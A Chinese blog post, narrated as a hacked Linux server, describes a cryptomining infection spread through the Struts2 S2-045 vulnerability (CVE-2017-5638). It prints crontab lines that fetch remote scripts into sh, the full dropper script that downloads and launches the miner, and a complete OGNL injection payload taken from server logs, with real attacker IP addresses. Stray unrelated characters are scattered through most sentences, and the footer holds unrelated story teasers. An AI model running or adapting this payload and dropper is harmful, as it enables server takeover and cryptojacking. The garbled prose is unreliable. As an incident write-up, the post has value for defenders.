我變成了一名比特幣挖礦工

引言

1445238746473555.jpg

世界上還是牛人多绕沈,在2011年的時候,一名大三的學(xué)生有了困擾帮寻,隨后上知乎發(fā)布了一個提問大三學(xué)生手頭有6000元乍狐,有什么好的理財投資建議?在2017年的今天,上到了知乎熱門提問固逗,因為在提問下面有一個獲得上萬點贊的回答買“比特幣浅蚪,保存好錢包文件,然后忘掉你有過6000元這回事烫罩,五年后再看看惜傲。

起因

我是一個服務(wù)器,并且還是一個內(nèi)網(wǎng)的Linux服務(wù)器贝攒,外面武裝了天清漢馬防火墻盗誊,內(nèi)部有firewall,強(qiáng)大的密碼組合隘弊,甚至自己都記不清到底幾位數(shù)哈踱,這幾年我甚是悠閑,悠閑的感覺自己有點混日子梨熙,然就是這樣一個與世無爭的我還是被無情的攻擊了开镣。

7.jpg

那天清晨,感覺大腦有點發(fā)燒咽扇,趕緊發(fā)出一條top指令:

top - 20:07:49 up 70 days,  8:53,  2 users,  load average: 5.71, 5.07, 2.93
Tasks: 200 total,   1 running, 199 sleeping,   0 stopped,   0 zombie
%Cpu(s): 50.2 us,  0.1 sy,  0.0 ni, 49.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 65401524 total, 36266252 free, 13198040 used, 15937232 buff/cache
KiB Swap: 32834556 total, 32803700 free,    30856 used. 51442368 avail Mem 
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
17257 root      20   0  591340  15220    556 S 599.7  0.0  67:13.74 atd
15768 root      20   0 15.369g 2.319g  18048 S   1.7  3.7   4:10.49 java

發(fā)現(xiàn)了一條詭異的進(jìn)程atd邪财,CPU占用居然將近600%舅列,執(zhí)行命令ps -eaf|grep atd:

[root@itstyle tmp]# ps -ef|grep atd
root     17257     1 99 19:56 ?        01:22:31 ./atd -c trtgsasefd.conf -t 6
root     17475 17165  0 20:10 pts/0    00:00:00 grep --color=auto atd

緊接著find / -name atd查找相關(guān)指令存放地點。

[root@itstyle tmp]# find / -name atd
/var/tmp/atd

突然覺得還是先把這個atd進(jìn)程殺掉為好卧蜓,kill -9 17257,立即馬上迅速強(qiáng)行殺死把敞。

隨后退燒了弥奸,但可惡的是,不到幾分鐘奋早,又燒了盛霎,一看又是atd這個進(jìn)程在運(yùn)行。

殺掉后重新運(yùn)行耽装,一定是在某個地方有定時愤炸,檢查了一下定時任務(wù),crontab -l:

[root@itstyle tmp]# crontab -l
*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh

擦掉奄,以前的定時腳本不見了规个,多了兩條奇怪的任務(wù),里面有個網(wǎng)址很特別姓建,復(fù)制到瀏覽器訪問诞仓,本以為是個美女或者驚悚圖,結(jié)果是個大黑圖速兔,F(xiàn)12圖片網(wǎng)絡(luò)請求發(fā)現(xiàn)Response中居然存在如下代碼:

#!/bin/sh
rm -rf /var/tmp/bmsnxvpggm.conf
ps auxf|grep -v grep|grep -v trtgsasefd|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "bmsnxvpggm"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "trtgsasefd" -e "ixcnkupikm" -e "jmzaazwiom" -e "erlimkvsmb" -e "pdnpiqlnaa" -e "zhoimvmfqo"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/trtgsasefd.conf
rm -rf /var/tmp/trtgsasefd.conf
curl -o /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
wget -O /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker
else
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker_na
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker_na
fi
chmod +x /var/tmp/atd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./atd -c trtgsasefd.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

一坨腳本墅拭,狗日的 居然有 rm -rf 這是要要了老子的命啊;凉贰5瘛! 嚇大趕緊打開藍(lán)燈谷歌搜索這個命令镀钓,在virustotal找到以下說明:

5.png

同時發(fā)現(xiàn)了一條四天前的評論穗熬,這是一個腳本,通過struts漏洞傳播下載和啟動一個bitcode礦工掸宛。

gov.lk中也發(fā)現(xiàn)了有一坨代碼死陆,隱約發(fā)現(xiàn)與struts2有關(guān):

6.png

由于一些老舊項目還在使用struts2,于是查詢了一下相關(guān)日志唧瘾,居然發(fā)現(xiàn)了傳說中的OGNL注入

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh\n*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh" | crontab -;wget -O - -q http://91.230.47.40/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

黑客攻擊者通過使用一個表單來發(fā)送一些內(nèi)容到struts請求措译,該內(nèi)容被OGNL解析,結(jié)果創(chuàng)建了crontab饰序,擦领虹,真是耳聞不如一見啊,也有中招的那一天求豫,就這樣我變成了一個苦逼的挖礦工塌衰。

1.jpg

挖礦組織

Struts2的安全漏洞從2010年開始陸續(xù)被披露存在遠(yuǎn)程代碼執(zhí)行漏洞诉稍,從2010年的S2-005、S2-009最疆、S2-013 S2-016杯巨、S2-019、S2-020努酸、S2-032服爷、S2-037、devMode获诈、及2017年3月初Struts2披露的S045漏洞仍源,每一次的漏洞爆發(fā)隨后互聯(lián)網(wǎng)都會出現(xiàn)Struts2掃描攻擊活動。

此次攻擊針對Struts2的遠(yuǎn)程命令執(zhí)行漏洞舔涎,漏洞編號:S2-045笼踩,CVE編號:CVE-2017-5638,官方評級為高危亡嫌,該漏洞是由于在使用基于Jakarta插件的文件上傳功能條件下嚎于,惡意用戶可以通過修改HTTP請求頭中的Content-Type值來觸發(fā)該漏洞,黑客通過批量對互聯(lián)網(wǎng)的WEB應(yīng)用服務(wù)器發(fā)起攻擊挟冠,并下載惡意腳本執(zhí)行下載進(jìn)行比特幣挖礦程序匾旭,主要感染Linux服務(wù)器。

0.jpg

經(jīng)檢測和搜索圃郊,這應(yīng)該是一個有組織有紀(jì)律的挖礦集團(tuán)价涝,以下是IP地址來源,萬惡的蘇修主義啊持舆,真是亡我天朝之心不死色瘩。

7.png

解決方案

Struts2升級版本至2.5.10,高危漏洞又來了逸寓,這是三月份的一篇升級居兆,當(dāng)時投機(jī)的還是趕緊升了吧,如果實在不想升級竹伸,無所謂反正是挖礦泥栖,不會破壞你什么。

但是勋篓,如果不挖礦呢吧享,那就傻逼了?到時候就不是發(fā)燒那么簡單了譬嚣,很多公司上線部署都不是很規(guī)范钢颂,可能所有的程序都用root啟動也說不定呢?

如何注入

最后感覺這才是大家比較關(guān)注的問題拜银,肯定有不少小伙伴想知道黑客是怎么注入的吧殊鞭?

人們都說遭垛,只要心夠誠,就能在西邊疙瘩山上尋得一當(dāng)鋪操灿,進(jìn)去锯仪,便能改變你的一生,其實我也不知道趾盐。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末卵酪,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子谤碳,更是在濱河造成了極大的恐慌,老刑警劉巖溢豆,帶你破解...
    沈念sama閱讀 216,919評論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡甘耿,警方通過查閱死者的電腦和手機(jī)芽突,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,567評論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來队他,“玉大人卷仑,你說我怎么就攤上這事◆镎郏” “怎么了锡凝?”我有些...
    開封第一講書人閱讀 163,316評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長垢啼。 經(jīng)常有香客問我窜锯,道長,這世上最難降的妖魔是什么芭析? 我笑而不...
    開封第一講書人閱讀 58,294評論 1 292
  • 正文 為了忘掉前任锚扎,我火速辦了婚禮,結(jié)果婚禮上馁启,老公的妹妹穿的比我還像新娘驾孔。我一直安慰自己,他們只是感情好惯疙,可當(dāng)我...
    茶點故事閱讀 67,318評論 6 390
  • 文/花漫 我一把揭開白布翠勉。 她就那樣靜靜地躺著,像睡著了一般霉颠。 火紅的嫁衣襯著肌膚如雪眉菱。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,245評論 1 299
  • 那天掉分,我揣著相機(jī)與錄音俭缓,去河邊找鬼克伊。 笑死,一個胖子當(dāng)著我的面吹牛华坦,可吹牛的內(nèi)容都是我干的愿吹。 我是一名探鬼主播,決...
    沈念sama閱讀 40,120評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼惜姐,長吁一口氣:“原來是場噩夢啊……” “哼犁跪!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起歹袁,我...
    開封第一講書人閱讀 38,964評論 0 275
  • 序言:老撾萬榮一對情侶失蹤坷衍,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后条舔,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體枫耳,經(jīng)...
    沈念sama閱讀 45,376評論 1 313
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,592評論 2 333
  • 正文 我和宋清朗相戀三年孟抗,在試婚紗的時候發(fā)現(xiàn)自己被綠了迁杨。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,764評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡凄硼,死狀恐怖铅协,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情摊沉,我是刑警寧澤狐史,帶...
    沈念sama閱讀 35,460評論 5 344
  • 正文 年R本政府宣布,位于F島的核電站说墨,受9級特大地震影響预皇,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜婉刀,卻給世界環(huán)境...
    茶點故事閱讀 41,070評論 3 327
  • 文/蒙蒙 一吟温、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧突颊,春花似錦鲁豪、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,697評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至棒动,卻和暖如春糙申,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背船惨。 一陣腳步聲響...
    開封第一講書人閱讀 32,846評論 1 269
  • 我被黑心中介騙來泰國打工柜裸, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留缕陕,地道東北人。 一個月前我還...
    沈念sama閱讀 47,819評論 2 370
  • 正文 我出身青樓疙挺,卻偏偏與公主長得像扛邑,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子铐然,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,665評論 2 354

推薦閱讀更多精彩內(nèi)容